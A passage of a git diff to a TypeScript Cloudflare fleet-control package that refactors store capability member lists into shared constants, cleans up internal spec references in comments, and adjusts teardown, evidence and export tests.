canonicalFleetInventoryRunOptions, classifyFleetInventoryRunToken, + FLEET_INVENTORY_GENERATION_READ_MEMBERS, type FleetInventoryGenerationRef, type FleetInventoryLease, type FleetInventoryProviderContext, @@ -85,10 +85,7 @@ const CAPABILITY_MEMBERS: Readonly< Record > = Object.freeze({ 'inventory-run-store': Object.freeze(['withAccountInventoryLease']), - 'generation-read': Object.freeze([ - 'readFinalizedGeneration', - 'readRunByOperation', - ]), + 'generation-read': FLEET_INVENTORY_GENERATION_READ_MEMBERS, 'generation-pin': Object.freeze(['pinGeneration']), }); diff --git a/packages/fleet-control/src/fleet-inventory-state.ts b/packages/fleet-control/src/fleet-inventory-state.ts index e0386fd6..efc2eaf0 100644 --- a/packages/fleet-control/src/fleet-inventory-state.ts +++ b/packages/fleet-control/src/fleet-inventory-state.ts @@ -380,6 +380,16 @@ export interface FleetInventoryRunStore { ): Promise>; } +/** + * The {@link FleetInventoryRunStore} members a bounded coordinator calls to + * read a finalized generation, and gates an injected store on. It lives here + * so that a coordinator reads the port's own list rather than restating it. + */ +export const FLEET_INVENTORY_GENERATION_READ_MEMBERS = Object.freeze([ + 'readFinalizedGeneration', + 'readRunByOperation', +] as const satisfies readonly (keyof FleetInventoryRunStore)[]); + /** Fixed refusal shared by both durable-text controls. */ export class FleetInventoryFindingValueError extends Error { constructor(readonly field: string) { diff --git a/packages/fleet-control/src/fleet-migration-advance.ts b/packages/fleet-control/src/fleet-migration-advance.ts index 1a54132e..3371c18c 100644 --- a/packages/fleet-control/src/fleet-migration-advance.ts +++ b/packages/fleet-control/src/fleet-migration-advance.ts @@ -24,6 +24,7 @@ import { classifyFleetOperationToken, FLEET_OPERATION_ITEM_BOUND, FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, + FLEET_OPERATION_STORE_ADVANCE_MEMBERS, type FleetOperationFailure, type FleetOperationLease, type FleetOperationRunRecord, @@ -139,11 +140,7 @@ class FleetMigrationTargetDriftError extends Error { type MigrationRun = ReturnType; function assertOperationStore(store: FleetOperationStore): void { - for (const member of [ - 'withAccountOperationLease', - 'readOperationById', - 'readOperationRowsPage', - ] as const) { + for (const member of FLEET_OPERATION_STORE_ADVANCE_MEMBERS) { if ( !store || !Reflect.has(store, member) || diff --git a/packages/fleet-control/src/fleet-operation-state.ts b/packages/fleet-control/src/fleet-operation-state.ts index 6a3b4683..dcd84b3c 100644 --- a/packages/fleet-control/src/fleet-operation-state.ts +++ b/packages/fleet-control/src/fleet-operation-state.ts @@ -37,12 +37,12 @@ export const FLEET_OPERATION_INTAKE_BYTE_BOUND = 16 * 1024 * 1024; export const FLEET_OPERATION_STAGE_BATCH_STATEMENTS = 100; /** * Per-kind cap on the non-`record` staged rows one read may return: at most - * 99 rows per record times 10,000 records. The 99 is the per-record - * batch ceiling the audit coordinator enforces over the `finding` and `fact` - * rows one record emits together, the remaining statement of the batch being - * the run record's own update. It derives no bound for a global stage's - * findings, nor for R4-C.2's `item` rows, where this constant is a plain - * ceiling rather than a derived bound. + * 99 rows per record times 10,000 records. The 99 is the per-record batch + * ceiling the audit coordinator enforces over the `finding` and `fact` rows + * one record emits together, the remaining statement of the batch being the + * run record's own update. It derives no bound for a global stage's + * findings, nor for the migration coordinator's `item` rows, where this + * constant is a plain ceiling rather than a derived bound. */ export const FLEET_OPERATION_ROW_READ_BOUND = (FLEET_OPERATION_STAGE_BATCH_STATEMENTS - 1) * FLEET_OPERATION_ITEM_BOUND; @@ -129,8 +129,8 @@ export interface FleetOperationItemsIntakeInput { /** * Why an intake was refused. `itemOrdinal` names the offending item for the * per-item reasons; the audit coordinator maps every reason to a fixed - * message and does not read it, but it is carried so R4-C.2's migration - * intake — which refuses one item out of a batch — can report which. + * message and does not read it, but it is carried so the migration intake — + * which refuses one item out of a batch — can report which. */ export type FleetOperationIntakeRefusal = | { readonly reason: 'item-count' } @@ -185,8 +185,8 @@ export class FleetOperationStoreCapabilityError extends Error { /** * The fixed refusal message raised when a persisted operation carries the * other operation kind. It lives here so that the audit coordinator's sites, - * `D1FleetOperationStore`'s start probe and its two terminal probes, and - * R4-C.2's migration coordinator all emit byte-identical text. + * `D1FleetOperationStore`'s start probe and its two terminal probes, and the + * migration coordinator all emit byte-identical text. */ export function fleetOperationOtherKindMessage(operationId: string): string { return `fleet operation '${operationId}' belongs to the other operation kind`; @@ -256,11 +256,10 @@ export interface FleetOperationStore { * smallest qualifying ordinals; omitting a row whose ordinal is below one * the page returns is non-conforming. An implementation must accept any * `limit` from 1 through 1,000 and serves a larger one at 1,000 — the one - * documented ceiling, which `fleetOperationPageLimit` applies — so a `limit` - * above the ceiling costs the caller the rows beyond it rather than the - * read. A `limit` that is not a safe integer of at least 1 refuses. The - * upper end is a hard requirement, not a preference: - * `readAllFleetOperationRows` passes this module's + * documented ceiling — so a `limit` above the ceiling costs the caller the + * rows beyond it rather than the read. A `limit` that is not a safe integer + * of at least 1 refuses. The upper end is a hard requirement, not a + * preference: `readAllFleetOperationRows` passes this module's * `FLEET_OPERATION_ROW_PAGE_LIMIT` — 1,000, and unexported, so the bound is * restated here as a literal — as the `limit` on every page it requests, * with no negotiation, so a store supporting a narrower range throws on @@ -297,6 +296,17 @@ export interface FleetOperationStore { ): Promise>; } +/** + * The {@link FleetOperationStore} members a bounded advance coordinator calls + * and gates an injected store on. It lives here so that a coordinator reads + * the port's own list rather than restating it. + */ +export const FLEET_OPERATION_STORE_ADVANCE_MEMBERS = Object.freeze([ + 'withAccountOperationLease', + 'readOperationById', + 'readOperationRowsPage', +] as const satisfies readonly (keyof FleetOperationStore)[]); + export interface FleetOperationLease { /** * Throws unless this lease is still held, so a coordinator that is about to @@ -383,8 +393,8 @@ export interface FleetOperationLease { * stamping its terminal time. `expectedRowCounts` asserts the FINAL row * count per kind, so a run that lost or double-wrote rows cannot finalize. * `requireAllItemsComplete` additionally demands that the number of `item` - * rows in a complete state equals the progress item count — R4-C.2's - * per-item migration contract, unused by the audit coordinator. Returns the + * rows in a complete state equals the progress item count — the per-item + * migration contract, unused by the audit coordinator. Returns the * persisted terminal record. */ finalizeOperation( diff --git a/packages/fleet-control/src/fleet.ts b/packages/fleet-control/src/fleet.ts index d936c88c..53a466fd 100644 --- a/packages/fleet-control/src/fleet.ts +++ b/packages/fleet-control/src/fleet.ts @@ -568,9 +568,8 @@ interface DutySegment { /** * Composes one stale-duty finding segment as a template plus an optional raw - * diagnostic (R4-B.2), so a caller can persist the template alone and - * separately compose the legacy byte-identical string with the diagnostic - * inlined. + * diagnostic, so a caller can persist the template alone and separately + * compose the legacy byte-identical string with the diagnostic inlined. */ function staleDutySegment( duty: DutyHealth, @@ -606,9 +605,9 @@ function staleDutySegment( } // --------------------------------------------------------------------------- -// Audit set-builders (R4-B.2): pure derivations over `records`/`inventory` -// that both the drain and the bounded coordinator's global stages consume. -// None emits findings. +// Audit set-builders: pure derivations over `records`/`inventory` that +// both the drain and the bounded coordinator's global stages consume. None +// emits findings. // // Two idioms satisfy that no-emission requirement, and the difference is // driven by the stages' inputs, not by taste. The default is to run the @@ -757,9 +756,9 @@ export function fleetAuditExpectedNamespaceIds( * namespace-expecting record, in record then namespace order. The * `namespace-expectations` stage (emission), its prefix/full seed (the map), * and the records-derived duplicate set (the collisions) all run through it, - * so the claim rule exists once (R4-B.2 §6.4 SEED DERIVATION). `owners` is - * mutated in place; `onClaim` receives the prior owner, undefined when this - * record has just become the owner. + * so the claim rule exists once. `owners` is mutated in place; `onClaim` + * receives the prior owner, undefined when this record has just become the + * owner. * * Declared here with the other set-builders, ahead of its emitting caller * `auditNamespaceExpectationsStage` in the stage section below. @@ -783,12 +782,12 @@ function walkNamespaceClaims( } /** - * The records-derived expected-duplicate seed (R4-B.2 §6.1): the set of - * namespace ids more than one audited, namespace-expecting record claims. - * Pure over `auditedRecords`, independent of chunk position. It runs the very - * walker the `namespace-expectations` stage runs, so this is the same - * collision set that stage accumulates by the time it completes — not merely - * a second derivation that agrees with it. + * The records-derived expected-duplicate seed: the set of namespace ids more + * than one audited, namespace-expecting record claims. Pure over + * `auditedRecords`, independent of chunk position. It runs the very walker + * the `namespace-expectations` stage runs, so this is the same collision set + * that stage accumulates by the time it completes — not merely a second + * derivation that agrees with it. */ export function fleetAuditRecordsDerivedDuplicateNamespaceIds( auditedRecords: readonly FleetRecord[], @@ -837,20 +836,20 @@ export function fleetAuditExpectedBucketsSeed( ): Map { const expectedBuckets = new Map(); // The emitting stage over an EMPTY map is exactly the non-emitting - // rebuild; its findings are discarded (R4-B.2 §6.4 SEED DERIVATION). - // Discarding them allocates one `DriftFinding` per duplicate bucket claim - // on every call, including the two full-map rebuilds the bounded - // `r2-orphans`/`r2-missing-identity` stages run over every audited record. - // That garbage is per duplicate claim, not per record, so it stays far - // below the documented O(records²) record-row re-parse term. + // rebuild; its findings are discarded. Discarding them allocates one + // `DriftFinding` per duplicate bucket claim on every call, including the + // two full-map rebuilds the bounded `r2-orphans`/`r2-missing-identity` + // stages run over every audited record. That garbage is per duplicate + // claim, not per record, so it stays far below the documented O(records²) + // record-row re-parse term. auditR2ExpectedStage({ records, expectedBuckets }); return expectedBuckets; } // --------------------------------------------------------------------------- -// Audit global stage functions (R4-B.2). Each takes an iteration slice plus -// its derived sets and returns the findings for that slice, in the same -// order `auditFleetDrift`'s pre-decomposition body pushed them. +// Audit global stage functions. Each takes an iteration slice plus its +// derived sets and returns the findings for that slice, in the same order +// `auditFleetDrift`'s pre-decomposition body pushed them. // --------------------------------------------------------------------------- export function auditRegistrationOrphansStage( @@ -1041,11 +1040,11 @@ export function auditNamespaceExpectationsStage( /** * An INPUT the stage reads and also mutates: the caller supplies the * claims already made (empty for the drain's one full-array call, the - * §6.1 prefix rebuild for a bounded chunk), and the stage adds this - * slice's claims to it as it walks. Reading it is load-bearing — it is - * what makes a `duplicate-namespace` collision visible across a chunk - * boundary. No caller reads the mutation back today; the map is passed in - * rather than built here so the prefix can be seeded. + * prefix rebuild for a bounded chunk), and the stage adds this slice's + * claims to it as it walks. Reading it is load-bearing — it is what makes + * a `duplicate-namespace` collision visible across a chunk boundary. No + * caller reads the mutation back today; the map is passed in rather than + * built here so the prefix can be seeded. */ expectedNamespaceOwners: Map; }>, @@ -1091,10 +1090,10 @@ export function auditR2ExpectedStage( /** * An INPUT the stage reads and also mutates: the caller supplies the * claims already made (empty for the drain's one full-array call, the - * §6.1 prefix rebuild for a bounded chunk), and the stage adds this - * slice's claims to it as it walks. Reading it is load-bearing — a bucket - * already in the map is what makes an `r2-bucket-drift` collision visible - * across a chunk boundary. The drain reads the finished map back for its + * prefix rebuild for a bounded chunk), and the stage adds this slice's + * claims to it as it walks. Reading it is load-bearing — a bucket already + * in the map is what makes an `r2-bucket-drift` collision visible across a + * chunk boundary. The drain reads the finished map back for its * `r2-orphans` and `r2-missing-identity` stages; the bounded path rebuilds * it with `fleetAuditExpectedBucketsSeed` instead. */ @@ -1186,12 +1185,11 @@ export function auditR2MissingIdentityStage( } // --------------------------------------------------------------------------- -// Per-record audit step (R4-B.2). Frozen result shape per §6.3: `findings` -// carries the sanitized durable detail; `legacyDetails` is index-paired and -// holds the exact legacy byte composition only where it differs (raw -// diagnostic bytes), null where identical. The drain emits -// `legacyDetails[i] ?? detail`; the bounded coordinator persists `detail` -// alone. +// Per-record audit step. Frozen result shape: `findings` carries the +// sanitized durable detail; `legacyDetails` is index-paired and holds the +// exact legacy byte composition only where it differs (raw diagnostic bytes), +// null where identical. The drain emits `legacyDetails[i] ?? detail`; the +// bounded coordinator persists `detail` alone. // --------------------------------------------------------------------------- export interface FleetAuditRecordStepResult { @@ -1221,9 +1219,9 @@ export interface FleetAuditRecordStepInput { readonly maintenanceSecretFor: (record: FleetRecord) => string; readonly store: FleetStateStore; readonly staleAfterMs: number; - /** Drives every staleness comparison (§6.1). */ + /** Drives every staleness comparison. */ readonly auditNow: number; - /** Feeds only the re-arm's `commitInvocationAuthority` clock (§6.1). */ + /** Feeds only the re-arm's `commitInvocationAuthority` clock. */ readonly authorityNowProvider: () => number; } diff --git a/packages/fleet-control/src/provision.ts b/packages/fleet-control/src/provision.ts index 85a351be..40bdafb9 100644 --- a/packages/fleet-control/src/provision.ts +++ b/packages/fleet-control/src/provision.ts @@ -719,12 +719,9 @@ function assertRetiredDeploymentMode( } // Refuses a database that already answers to the name this provision reserves. -// The reserved name is `spec.databaseName` at every call site: a prior that -// reached here passed `assertImmutableDeploymentMapping`, which refuses a row -// whose `databaseName` differs. Over a retired terminal row the caller passes -// that row's database ID, so an operator reading the refusal can tell the -// retired deployment's own resurrected database from a foreign one answering -// to the same name. +// Over a retired terminal row the caller passes that row's database ID, so an +// operator reading the refusal can tell the retired deployment's own +// resurrected database from a foreign one answering to the same name. async function assertReservedDatabaseNameFree( backend: ProvisioningBackend, spec: DeploymentSpec, diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index ed5e932c..8c3f362f 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -431,6 +431,19 @@ export interface BackendSwitchApplicationR2Progress { readonly subphase: ApplicationR2Resource['state']; } +/** + * The resource a switch-teardown progress entry tracks, carrying that entry's + * subphase as its state. The paths that write a teardown record's + * `applicationResources` and the admission that compares a record against it + * read this one expression, so a comparison cannot drift from what the write + * produced. + */ +export function applicationR2ResourceFromProgress( + progress: BackendSwitchApplicationR2Progress, +): ApplicationR2Resource { + return { ...progress.resource, state: progress.subphase }; +} + export interface BackendSwitchDecommissionRelease { readonly release: ExternalReleaseSnapshot; readonly subphase: 'present' | 'delete-authorized' | 'deleted'; diff --git a/packages/fleet-control/src/workers-for-platforms-backend.ts b/packages/fleet-control/src/workers-for-platforms-backend.ts index 3c166457..b3691b3b 100644 --- a/packages/fleet-control/src/workers-for-platforms-backend.ts +++ b/packages/fleet-control/src/workers-for-platforms-backend.ts @@ -80,6 +80,9 @@ const RELEASE_DIGEST_LENGTH = 48; const DEFAULT_MAINTENANCE_REQUEST_TIMEOUT_MS = 15_000; const MAINTENANCE_CAPABILITY_MAX_TTL_SECONDS = 60; const MAINTENANCE_CAPABILITY_SKEW_SECONDS = 5; +// The reason a maintenance response body goes unread: the health payload is +// the signed receipt header, and the success path hands readMaintenanceHealth +// a fresh response built from the verified receipt. const UNREAD_MAINTENANCE_BODY = 'Workers for Platforms maintenance health is read from the signed receipt header'; @@ -1919,9 +1922,6 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { signal: AbortSignal.timeout(this.#maintenanceRequestTimeoutMs), }, ); - // The health payload is the signed receipt header: neither exit below - // reads the maintenance response body, and the success path hands - // readMaintenanceHealth a fresh response built from the verified receipt. cancelBodyWithoutAwait(response.body, UNREAD_MAINTENANCE_BODY); const receipt = response.headers.get(MAINTENANCE_RECEIPT_HEADER); const result = receipt @@ -2019,9 +2019,6 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { signal: AbortSignal.timeout(this.#maintenanceRequestTimeoutMs), }, ); - // The health payload is the signed receipt header: neither exit below - // reads the maintenance response body, and the success path hands - // readMaintenanceHealth a fresh response built from the verified receipt. cancelBodyWithoutAwait(response.body, UNREAD_MAINTENANCE_BODY); const receipt = response.headers.get(MAINTENANCE_RECEIPT_HEADER); const result = receipt diff --git a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts index e35abb8c..cfd7b5dd 100644 --- a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts @@ -1,7 +1,5 @@ // SPDX-License-Identifier: Apache-2.0 -import { tmpdir } from 'node:os'; -import { join } from 'node:path'; import { APIConnectionTimeoutError } from 'cloudflare'; import { describe, expect, it, vi } from 'vitest'; import { CloudflareApiPlainWorkerBackend } from '../src/cloudflare-api-plain-worker-backend.js'; @@ -15,7 +13,6 @@ import type { ExternalMutationFence, PlainWorkerUploadIntent, } from '../src/types.js'; -import { WranglerPlainWorkerProvisioningApi } from '../src/wrangler-plain-worker-provisioning-api.js'; import { type CloudflareFixtureHandler, deferred, @@ -29,7 +26,6 @@ import { memoryStore, mutationFence, rejectedValue, - routeApi, } from './fixtures/plain-worker-port-probe.js'; import { providerWorld } from './fixtures/provider-world.js'; @@ -970,27 +966,3 @@ describe('CloudflareApiPlainWorkerProvisioningApi', () => { }); }); }); - -describe('WranglerPlainWorkerProvisioningApi inventory shape', () => { - it('refuses a Wrangler inventory result that is not a list', async () => { - const api = new WranglerPlainWorkerProvisioningApi({ - runner: { - maxDurationMs: 5 * 60_000, - async run() { - return { - stdout: JSON.stringify({ success: true, result: 'not-a-list' }), - stderr: '', - }; - }, - }, - routeApi: routeApi(), - // `listDatabases` reads no file, so this path is never created. - exportDirectory: join(tmpdir(), 'wrangler-inventory-shape'), - exportStore: memoryStore(), - }); - - await expect(api.listDatabases()).rejects.toThrow( - 'Wrangler inventory result has an invalid list shape', - ); - }); -}); diff --git a/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts b/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts index a0585ea5..f577556e 100644 --- a/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts +++ b/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts @@ -19,6 +19,7 @@ import { DIRECT_USAGE_DIAGNOSTIC, type DirectConformanceMode, type DirectConformanceModules, + directStdoutOf, directWritesStderr, parseDirectConformanceArgs, resolveDirectExitCode, @@ -69,7 +70,7 @@ const now = () => Date.parse('2026-09-13T00:00:00.000Z'); /** The bytes the entry writes to each descriptor for an in-process result. */ function streamsOf(result: Awaited>) { return { - stdout: result.stdoutLine ?? '', + stdout: directStdoutOf(result), stderr: directWritesStderr(result) ? (result.stderrLine ?? '') : '', }; } @@ -679,8 +680,7 @@ process.stderr.write = (...args) => { } }); - it('names every evidence artifact key in the admission vocabulary', () => { - expect(DIRECT_EVIDENCE_KEYS).toContain('retainedIdentities'); + it('admits only word, dot and dash characters in the evidence key vocabulary', () => { expect(DIRECT_EVIDENCE_KEYS.every((key) => /^[\w.-]+$/u.test(key))).toBe( true, ); @@ -1094,7 +1094,7 @@ process.on('exit', () => writeFileSync(${path}, JSON.stringify(reads)));\n`; expect(result.stderr).not.toContain(' at '); }); - it('row 1 is evidence-only at the resume ceiling', async () => { + it('is evidence-only when a settled teardown meets the resume ceiling', async () => { const w = await world(); w.set({ teardown: { ...maximalTeardown(), phase: 'complete', failure: null }, @@ -1120,7 +1120,7 @@ process.on('exit', () => writeFileSync(${path}, JSON.stringify(reads)));\n`; 'refused', 'ingress', 'complete', - ] as const)('row 2 consumes teardown phase %s before bootstrap or scenario', async (phase) => { + ] as const)('consumes teardown phase %s before bootstrap or scenario', async (phase) => { const w = await world(); w.set({ teardown: { ...teardownState(), phase, failure: 'scenario-incomplete' }, @@ -1145,7 +1145,7 @@ process.on('exit', () => writeFileSync(${path}, JSON.stringify(reads)));\n`; it.each([ false, true, - ])('row 3 retains scenario failure with published refusal=%s', async (publish) => { + ])('retains a scenario failure with published refusal=%s', async (publish) => { const w = await world(); w.set({ scenario: { @@ -1176,7 +1176,7 @@ process.on('exit', () => writeFileSync(${path}, JSON.stringify(reads)));\n`; it.each([ false, true, - ])('row 4 maps returned outcome with retained=%s and no published refusal', async (retain) => { + ])('maps a returned outcome with retained=%s and no published refusal', async (retain) => { const w = await world(); w.set({ scenario: completeScenario() }); if (retain) retained(w, false); @@ -1190,7 +1190,7 @@ process.on('exit', () => writeFileSync(${path}, JSON.stringify(reads)));\n`; it.each([ 'run', 'resume', - ] as const)('row 5 bootstraps a fresh %s and closes on restart without teardown', async (mode) => { + ] as const)('bootstraps a fresh %s and closes on restart without teardown', async (mode) => { const w = await world(); const result = await w.run(mode); expect(result.exitCode).toBe(3); @@ -1209,7 +1209,7 @@ process.on('exit', () => writeFileSync(${path}, JSON.stringify(reads)));\n`; it.each([ 'complete', 'failed', - ] as const)('row 5 calls teardown after %s', async (status) => { + ] as const)('calls teardown after %s', async (status) => { const w = await world(); w.modules.scenario.mockImplementation(async () => status === 'failed' diff --git a/packages/fleet-control/test/direct-credentialed-conformance.acceptance.test.ts b/packages/fleet-control/test/direct-credentialed-conformance.acceptance.test.ts index 4c8fe69d..3f6e5e52 100644 --- a/packages/fleet-control/test/direct-credentialed-conformance.acceptance.test.ts +++ b/packages/fleet-control/test/direct-credentialed-conformance.acceptance.test.ts @@ -13,11 +13,11 @@ import { DIRECT_EVIDENCE_LITERALS, inspectDirectEvidence, } from '../scripts/direct-credentialed-evidence.mjs'; -import { REFERENCE_SECRET_NAMES } from '../scripts/direct-credentialed-reference-vocabulary.mjs'; import { DIRECT_RESIDUAL_SURFACES, - openDirectRunState, -} from '../scripts/direct-credentialed-run-state.mjs'; + REFERENCE_SECRET_NAMES, +} from '../scripts/direct-credentialed-reference-vocabulary.mjs'; +import { openDirectRunState } from '../scripts/direct-credentialed-run-state.mjs'; import { directBridgePreamble, directModuleUrl, diff --git a/packages/fleet-control/test/direct-credentialed-evidence.test.ts b/packages/fleet-control/test/direct-credentialed-evidence.test.ts index 61a013a8..94d840c1 100644 --- a/packages/fleet-control/test/direct-credentialed-evidence.test.ts +++ b/packages/fleet-control/test/direct-credentialed-evidence.test.ts @@ -12,7 +12,7 @@ import { inspectDirectEvidence, writeDirectEvidence, } from '../scripts/direct-credentialed-evidence.mjs'; -import { DIRECT_RESIDUAL_SURFACES } from '../scripts/direct-credentialed-run-state.mjs'; +import { DIRECT_RESIDUAL_SURFACES } from '../scripts/direct-credentialed-reference-vocabulary.mjs'; import { DIRECT_SCENARIO_PHASES } from '../scripts/direct-credentialed-scenario-budget.mjs'; import { cleanupDirectRunState, @@ -749,7 +749,7 @@ describe.sequential('direct evidence', () => { expect(await readdir(f.runDirectory)).toEqual(['journal.json']); }); - it('guards exactly the projection leaves the shared inventory names', async () => { + it('guards the identity-path leaves and excludes the prefix-derived and scenario-charset ones', async () => { const { evidence } = await evidenceFixture(); expect(Object.isFrozen(DIRECT_EVIDENCE_IDENTITY_PATHS)).toBe(true); // Every guarded path resolves to a projected identity leaf, so a renamed @@ -769,8 +769,8 @@ describe.sequential('direct evidence', () => { ]) expect(DIRECT_EVIDENCE_IDENTITY_PATHS).not.toContain(keyPath); // So are the scenario paths: the journal decodes each with `scenarioId`, - // whose accepted set the identity shape contains, so a guard here could - // only refuse a record the journal already admitted. + // whose charset is strictly wider than the identity shape, so a guard here + // refuses values the journal admits. for (const keyPath of [ 'scenario.initial.a.versionId', 'scenario.candidate.b.versionId', diff --git a/packages/fleet-control/test/direct-credentialed-observations.test.ts b/packages/fleet-control/test/direct-credentialed-observations.test.ts index db653cc5..1e390e65 100644 --- a/packages/fleet-control/test/direct-credentialed-observations.test.ts +++ b/packages/fleet-control/test/direct-credentialed-observations.test.ts @@ -834,6 +834,31 @@ describe('normal export raw-byte proof', () => { }); }); + it('releases the unread export body before the refusal reaches the caller', async () => { + const f = await fixture(); + const input = await f.exportInput(); + const releases: unknown[] = []; + f.hook( + () => + new Response( + new ReadableStream({ + start(controller) { + controller.enqueue(Buffer.from(SQL_SENTINEL)); + }, + cancel(reason) { + releases.push(reason); + }, + }), + { status: 206 }, + ), + ); + await expect(verifyDirectDecommissionExport(input)).rejects.toMatchObject( + errorShape, + ); + expect(releases).toHaveLength(1); + expect(f.requests).toHaveLength(1); + }); + it('derives exact R2 key and returns frozen receipt with source ordinal', async () => { const f = await fixture(); const input = await f.exportInput(); diff --git a/packages/fleet-control/test/direct-credentialed-teardown.test.ts b/packages/fleet-control/test/direct-credentialed-teardown.test.ts index 8e8189dc..366230ea 100644 --- a/packages/fleet-control/test/direct-credentialed-teardown.test.ts +++ b/packages/fleet-control/test/direct-credentialed-teardown.test.ts @@ -4,11 +4,11 @@ import { readFile, writeFile } from 'node:fs/promises'; import { join } from 'node:path'; import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import { DirectProviderError } from '../scripts/direct-credentialed-provider.mjs'; -import { REFERENCE_SECRET_NAMES } from '../scripts/direct-credentialed-reference-vocabulary.mjs'; import { DIRECT_TEARDOWN_MAXIMA, - type DirectRunJournal, -} from '../scripts/direct-credentialed-run-state.mjs'; + REFERENCE_SECRET_NAMES, +} from '../scripts/direct-credentialed-reference-vocabulary.mjs'; +import type { DirectRunJournal } from '../scripts/direct-credentialed-run-state.mjs'; import type { DirectTeardownOutcome } from '../scripts/direct-credentialed-teardown.mjs'; import { teardownDirectReference } from '../scripts/direct-credentialed-teardown.mjs'; import { CLOUDFLARE_INVENTORY_BOUND } from '../src/cloudflare-client-config.js'; @@ -355,8 +355,8 @@ describeLinux('direct reference teardown', () => { // the prefix settles empty before the bucket goes `GET ${w.bucketPath}/objects`, - // delete-export-r2: probe, identity, delete, reread - `GET ${w.bucketPath}`, + // delete-export-r2: probe, delete, reread — its identity is the + // attestation above `GET ${w.bucketPath}`, `DELETE ${w.bucketPath}`, `GET ${w.bucketPath}`, @@ -387,7 +387,7 @@ describeLinux('direct reference teardown', () => { quota: { uuid: 'quota-uuid', ordinal: 17, settledByReread: false }, exports: { name: w.names.exportBucket, - ordinal: 31, + ordinal: 30, settledByReread: false, }, }); @@ -722,11 +722,14 @@ describeLinux('direct reference teardown', () => { w.setHook(undefined); w.state.objects.add(`${w.prefix}/receipts/v1/other/object.sql`); const mark = w.requests.length; - // Every object receipt is recorded, so the deletes are skipped; the prefix - // is still read before the bucket goes, and an object that was not there - // when the receipts were written refuses here. + // Every object receipt is recorded, so the deletes are skipped; ownership + // is attested, the prefix is still read before the bucket goes, and an + // object that was not there when the receipts were written refuses here. expect(retained(await w.run()).reason).toBe('unexpected-object'); - expect(w.requests.slice(mark)).toEqual([`GET ${w.bucketPath}/objects`]); + expect(w.requests.slice(mark)).toEqual([ + `GET ${w.bucketPath}`, + `GET ${w.bucketPath}/objects`, + ]); expect(w.state.bucketPresent).toBe(true); }); @@ -806,18 +809,41 @@ describeLinux('direct reference teardown', () => { }); }); - it('refuses a first-attempt export bucket delete whose creation date changed', async () => { + it('attests the export bucket once for the object deletes and the bucket delete', async () => { const w = await world(); - let reads = 0; - w.setHook((request, url) => { - if (request.method !== 'GET' || url.pathname !== w.bucketPath) - return undefined; - reads += 1; - return reads === 1 ? undefined : changedBucket(w); - }); + const outcome = await w.run(); + expect(outcome.status).toBe('cleaned'); + // The attestation, then the bucket delete's own probe and reread. A second + // attestation would read the bucket a fourth time. + expect( + w.requests.filter((entry) => entry === `GET ${w.bucketPath}`), + ).toHaveLength(3); + expect(w.requests.indexOf(`GET ${w.bucketPath}`)).toBeLessThan( + w.requests.findIndex((entry) => + entry.startsWith(`DELETE ${w.bucketPath}`), + ), + ); + }); + + it('refuses a resume owing only the bucket delete before it reads the prefix', async () => { + const w = await world(); + w.setHook((request, url) => + request.method === 'DELETE' && url.pathname === w.bucketPath + ? json([]) + : undefined, + ); + expect(retained(await w.run()).reason).toBe('outcome-unknown'); + w.setHook((request, url) => + request.method === 'GET' && url.pathname === w.bucketPath + ? changedBucket(w) + : undefined, + ); + w.state.objects.add(`${w.prefix}/receipts/v1/other/object.sql`); + const mark = w.requests.length; + // Ownership is proven first, so the changed identity refuses ahead of the + // listing that would otherwise report the object as unexpected. expect(retained(await w.run()).reason).toBe('identity-mismatch'); - expect(w.requests).toContain(`DELETE ${w.bucketPath}/objects/${w.keyB}`); - expect(w.requests).not.toContain(`DELETE ${w.bucketPath}`); + expect(w.requests.slice(mark)).toEqual([`GET ${w.bucketPath}`]); expect(w.state.bucketPresent).toBe(true); }); diff --git a/packages/fleet-control/test/fixtures/direct-reference-harness.ts b/packages/fleet-control/test/fixtures/direct-reference-harness.ts index 1ed1fd08..f347c691 100644 --- a/packages/fleet-control/test/fixtures/direct-reference-harness.ts +++ b/packages/fleet-control/test/fixtures/direct-reference-harness.ts @@ -30,6 +30,7 @@ import { directDeploymentSpec } from '../../scripts/direct-credentialed-spec.js' import { DIRECT_TENANT_OBJECT_BODY, DIRECT_TENANT_OBJECT_KEY, + DIRECT_TENANT_ROUTES, directTenantMutationEpoch, directTenantProbeEpoch, } from '../../scripts/direct-credentialed-tenant-object.mjs'; @@ -64,12 +65,9 @@ const ADMIN_ROUTES: readonly string[] = Object.freeze([ ]); /** Tenant routes the harness answers with the application probe credential. */ -const APPLICATION_ROUTES: readonly string[] = Object.freeze([ - '/__direct/health', - '/__direct/object', - '/__direct/fence-mutate', - '/__direct/fence-probe', -]); +const APPLICATION_ROUTES: readonly string[] = Object.freeze( + Object.values(DIRECT_TENANT_ROUTES), +); /** The union a supplied `applicationFetch` is handed. */ const TENANT_ROUTES: readonly string[] = Object.freeze([ @@ -491,7 +489,10 @@ export async function createDirectReferenceHarness( releaseBinding && typeof releaseBinding === 'object' ? Reflect.get(releaseBinding, 'text') : undefined; - if (url.pathname === '/__direct/health' && request.method === 'GET') { + if ( + url.pathname === DIRECT_TENANT_ROUTES.health && + request.method === 'GET' + ) { const rows = database.d1.queryDatabase( 'SELECT marker FROM direct_conformance_fixture WHERE id=1', ); @@ -501,17 +502,23 @@ export async function createDirectReferenceHarness( return fixtureExecutionFence(request, database.d1); if (url.pathname === '/admin/inventory') return fixtureInventory(request, url, database.d1); - if (url.pathname === '/__direct/fence-mutate' && request.method === 'POST') + if ( + url.pathname === DIRECT_TENANT_ROUTES.fenceMutate && + request.method === 'POST' + ) return fixtureFenceOutcome( database.d1, directTenantMutationEpoch(release), ); - if (url.pathname === '/__direct/fence-probe' && request.method === 'POST') + if ( + url.pathname === DIRECT_TENANT_ROUTES.fenceProbe && + request.method === 'POST' + ) return fixtureFenceProbe(request, 